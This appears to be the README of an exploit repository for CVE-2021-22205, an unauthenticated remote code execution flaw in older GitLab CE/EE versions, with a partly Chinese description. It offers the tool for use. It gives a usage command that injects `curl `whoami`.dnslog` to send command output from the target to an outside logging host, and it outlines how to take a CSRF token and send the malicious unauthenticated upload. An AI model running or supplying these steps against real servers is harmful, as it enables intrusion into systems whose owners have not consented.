r0eXpeR / CVE-2021-22205

CVE-2021-22205 Unauthorized RCE

CVE-2021-22205

影响版本：

• Gitlab CE/EE < 13.10.3
• Gitlab CE/EE < 13.9.6
• Gitlab CE/EE < 13.8.8

Usage

python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"

获取csrf-token：

通过 /users/sign_in 获取csrf-token 然后使用前面的 CVE-2021-22205 poc 进行构造上传包进行执行未经身份验证的上传请求，最终rce

ref:

• https://hackerone.com/reports/1154542
• https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
• https://forum.ywhack.com/viewthread.php?tid=115611
• https://forum.ywhack.com/viewthread.php?tid=116706
• https://github.com/RedTeamWing/CVE-2021-22205